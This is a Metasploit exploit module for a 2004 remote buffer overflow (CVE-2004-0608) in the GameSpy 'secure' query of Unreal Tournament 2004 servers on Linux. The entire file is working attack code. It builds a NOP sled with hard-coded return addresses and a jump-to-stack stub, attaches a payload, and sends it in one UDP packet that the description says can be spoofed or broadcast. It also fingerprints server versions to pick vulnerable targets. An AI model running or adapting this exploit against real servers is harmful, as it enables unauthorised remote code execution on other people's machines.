##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
      'Description'    => %q{
          This is an exploit for the GameSpy secure query in
        the Unreal Engine.

        This exploit only requires one UDP packet, which can
        be both spoofed and sent to a broadcast address.
        Usually, the GameSpy query server listens on port 7787,
        but you can manually specify the port as well.

        The RunServer.sh script will automatically restart the
        server upon a crash, giving us the ability to
        bruteforce the service and exploit it multiple
        times.
      },
      'Author'         => [ 'onetwo' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-0608'],
          [ 'OSVDB', '7217'],
          [ 'BID', '10570'],

        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x5c\x00",

        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
          ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
        ],
      'DisclosureDate' => 'Jun 18 2004'))

    register_options(
      [
        Opt::RPORT(7787)
      ])
  end

  def exploit
    connect_udp

    buf = make_nops(1024)
    buf[24, 4] = [target['Rets'][1]].pack('V')
    buf[44, 4] = [target['Rets'][0]].pack('V')
    buf[56, 4] = [target['Rets'][1]].pack('V')
    buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP

    buf[0,  8] = "\\secure\\"
    buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

    udp_sock.put(buf)

    handler
    disconnect_udp
  end

  def ut_version
    connect_udp
    udp_sock.put("\\basic\\")
    res = udp_sock.recvfrom(8192)
    disconnect_udp

    if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
      return m[1]
    end

    return
  end

  def check
    vers = ut_version

    if (not vers)
      vprint_status("Could not detect Unreal Tournament Server")
      return Exploit::CheckCode::Unknown
    end

    print_status("Detected Unreal Tournament Server Version: #{vers}")
    if (vers =~ /^(3120|3186|3204)$/)
      vprint_status("This system appears to be exploitable")
      return Exploit::CheckCode::Appears
    end


    if (vers =~ /^(2...)$/)
      vprint_status("This system appears to be running UT2003")
      return Exploit::CheckCode::Detected
    end

    vprint_status("This system appears to be patched")
    return Exploit::CheckCode::Safe
  end
end
